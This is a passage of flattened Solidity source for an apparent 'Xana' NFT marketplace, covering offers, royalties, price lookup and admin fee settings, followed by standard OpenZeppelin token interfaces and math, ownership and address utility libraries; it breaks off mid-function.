offers[_nftAddress][_tokenId][_msgSender()] = Offer(
_payToken,
_quantity,
_pricePerItem,
_deadline
);
emit OfferCreated(
_msgSender(),
_nftAddress,
_tokenId,
_quantity,
address(_payToken),
_pricePerItem,
_deadline
);
}
/// @notice Method for canceling the offer
/// @param _nftAddress NFT contract address
/// @param _tokenId TokenId
function cancelOffer(address _nftAddress, uint256 _tokenId)
external
offerExists(_nftAddress, _tokenId, _msgSender())
{
delete (offers[_nftAddress][_tokenId][_msgSender()]);
emit OfferCanceled(_msgSender(), _nftAddress, _tokenId);
}
/// @notice Method for accepting the offer
/// @param _nftAddress NFT contract address
/// @param _tokenId TokenId
/// @param _creator Offer creator address
function acceptOffer(
address _nftAddress,
uint256 _tokenId,
address _creator
) external nonReentrant offerExists(_nftAddress, _tokenId, _creator) {
Offer memory offer = offers[_nftAddress][_tokenId][_creator];
_validOwner(_nftAddress, _tokenId, _msgSender(), offer.quantity);
uint256 price = offer.pricePerItem.mul(offer.quantity);
uint256 feeAmount = price.mul(platformFee).div(1e4);
uint256 royaltyFee;
offer.payToken.safeTransferFrom(_creator, feeReceipient, feeAmount);
address minter = minters[_nftAddress][_tokenId];
uint16 royalty = royalties[_nftAddress][_tokenId];
if (minter != address(0) && royalty != 0) {
royaltyFee = price.sub(feeAmount).mul(royalty).div(10000);
offer.payToken.safeTransferFrom(_creator, minter, royaltyFee);
feeAmount = feeAmount.add(royaltyFee);
} else {
minter = collectionRoyalties[_nftAddress].feeRecipient;
royalty = collectionRoyalties[_nftAddress].royalty;
if (minter != address(0) && royalty != 0) {
royaltyFee = price.sub(feeAmount).mul(royalty).div(10000);
offer.payToken.safeTransferFrom(_creator, minter, royaltyFee);
feeAmount = feeAmount.add(royaltyFee);
}
}
offer.payToken.safeTransferFrom(
_creator,
_msgSender(),
price.sub(feeAmount)
);
// Transfer NFT to buyer
if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721(_nftAddress).safeTransferFrom(
_msgSender(),
_creator,
_tokenId
);
} else {
IERC1155(_nftAddress).safeTransferFrom(
_msgSender(),
_creator,
_tokenId,
offer.quantity,
bytes("")
);
}
IXanaBundleMarketplace(addressRegistry.bundleMarketplace())
.validateItemSold(_nftAddress, _tokenId, offer.quantity);
emit ItemSold(
_msgSender(),
_creator,
_nftAddress,
_tokenId,
offer.quantity,
address(offer.payToken),
getPrice(address(offer.payToken)),
offer.pricePerItem
);
emit OfferCanceled(_creator, _nftAddress, _tokenId);
delete (listings[_nftAddress][_tokenId][_msgSender()]);
delete (offers[_nftAddress][_tokenId][_creator]);
}
/// @notice Method for setting royalty
/// @param _nftAddress NFT contract address
/// @param _tokenId TokenId
/// @param _royalty Royalty
function registerRoyalty(
address _nftAddress,
uint256 _tokenId,
uint16 _royalty
) external {
require(_royalty <= 10000, "invalid royalty");
require(_isXanaNFT(_nftAddress), "invalid nft address");
_validOwner(_nftAddress, _tokenId, _msgSender(), 1);
require(
minters[_nftAddress][_tokenId] == address(0),
"royalty already set"
);
minters[_nftAddress][_tokenId] = _msgSender();
royalties[_nftAddress][_tokenId] = _royalty;
}
/// @notice Method for setting royalty
/// @param _nftAddress NFT contract address
/// @param _royalty Royalty
function registerCollectionRoyalty(
address _nftAddress,
address _creator,
uint16 _royalty,
address _feeRecipient
) external onlyOwner {
require(_creator != address(0), "invalid creator address");
require(_royalty <= 10000, "invalid royalty");
require(
_royalty == 0 || _feeRecipient != address(0),
"invalid fee recipient address"
);
require(!_isXanaNFT(_nftAddress), "invalid nft address");
if (collectionRoyalties[_nftAddress].creator == address(0)) {
collectionRoyalties[_nftAddress] = CollectionRoyalty(
_royalty,
_creator,
_feeRecipient
);
} else {
CollectionRoyalty storage collectionRoyalty = collectionRoyalties[
_nftAddress
];
collectionRoyalty.royalty = _royalty;
collectionRoyalty.feeRecipient = _feeRecipient;
collectionRoyalty.creator = _creator;
}
}
function _isXanaNFT(address _nftAddress) internal view returns (bool) {
return
addressRegistry.xana() == _nftAddress ||
IXanaNFTFactory(addressRegistry.factory()).exists(_nftAddress) ||
IXanaNFTFactory(addressRegistry.privateFactory()).exists(
_nftAddress
) ||
IXanaNFTFactory(addressRegistry.artFactory()).exists(
_nftAddress
) ||
IXanaNFTFactory(addressRegistry.privateArtFactory()).exists(
_nftAddress
);
}
/**
@notice Method for getting price for pay token
@param _payToken Paying token
*/
function getPrice(address _payToken) public view returns (int256) {
int256 unitPrice;
uint8 decimals;
IXanaPriceFeed priceFeed = IXanaPriceFeed(
addressRegistry.priceFeed()
);
if (_payToken == address(0)) {
(unitPrice, decimals) = priceFeed.getPrice(priceFeed.wETH());
} else {
(unitPrice, decimals) = priceFeed.getPrice(_payToken);
}
if (decimals < 18) {
unitPrice = unitPrice * (int256(10)**(18 - decimals));
} else {
unitPrice = unitPrice / (int256(10)**(decimals - 18));
}
return unitPrice;
}
/**
@notice Method for updating platform fee
@dev Only admin
@param _platformFee uint16 the platform fee to set
*/
function updatePlatformFee(uint16 _platformFee) external onlyOwner {
platformFee = _platformFee;
emit UpdatePlatformFee(_platformFee);
}
/**
@notice Method for updating reward fee
@dev Only admin
@param _rewardFee uint256 the reward fee to set
*/
function updateSimpleRewardFee(uint256 _rewardFee) external onlyOwner {
rewardFee = _rewardFee;
}
/**
@notice Method for updating platform fee address
@dev Only admin
@param _platformFeeRecipient payable address the address to sends the funds to
*/
function updatePlatformFeeRecipient(address payable _platformFeeRecipient)
external
onlyOwner
{
feeReceipient = _platformFeeRecipient;
emit UpdatePlatformFeeRecipient(_platformFeeRecipient);
}
/**
@notice Update XanaAddressRegistry contract
@dev Only admin
*/
function updateAddressRegistry(address _registry) external onlyOwner {
addressRegistry = IXanaAddressRegistry(_registry);
}
/**
* @notice Validate and cancel listing
* @dev Only bundle marketplace can access
*/
function validateItemSold(
address _nftAddress,
uint256 _tokenId,
address _seller,
address _buyer
) external onlyMarketplace {
Listing memory item = listings[_nftAddress][_tokenId][_seller];
if (item.quantity > 0) {
_cancelListing(_nftAddress, _tokenId, _seller);
}
delete (offers[_nftAddress][_tokenId][_buyer]);
emit OfferCanceled(_buyer, _nftAddress, _tokenId);
}
////////////////////////////
/// Internal and Private ///
////////////////////////////
function _getNow() internal view virtual returns (uint256) {
return block.timestamp;
}
function _validPayToken(address _payToken) view internal {
require(
_payToken == address(0) ||
(addressRegistry.tokenRegistry() != address(0) &&
IXanaTokenRegistry(addressRegistry.tokenRegistry())
.enabled(_payToken)),
"invalid pay token"
);
}
function _validOwner(
address _nftAddress,
uint256 _tokenId,
address _owner,
uint256 quantity
) view internal {
if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721 nft = IERC721(_nftAddress);
require(nft.ownerOf(_tokenId) == _owner, "not owning item");
} else if (
IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC1155)
) {
IERC1155 nft = IERC1155(_nftAddress);
require(
nft.balanceOf(_owner, _tokenId) >= quantity,
"not owning item"
);
} else {
revert("invalid nft address");
}
}
function _cancelListing(
address _nftAddress,
uint256 _tokenId,
address _owner
) private {
Listing memory listedItem = listings[_nftAddress][_tokenId][_owner];
_validOwner(_nftAddress, _tokenId, _owner, listedItem.quantity);
delete (listings[_nftAddress][_tokenId][_owner]);
emit ItemCanceled(_owner, _nftAddress, _tokenId);
}
/// @notice Method for set Reward Token
/// @param _rwtTokenAddr Reward Token Address
function setRWTAddr(address _rwtTokenAddr)
external
onlyOwner
{
RWT = IERC20(_rwtTokenAddr);
}
/// @notice Method for set owner address
/// @param _rwtSenderAddr New owner address
function setRWTSenderAddr(address _rwtSenderAddr)
external
onlyOwner
{
rewardTokenOwner = _rwtSenderAddr;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
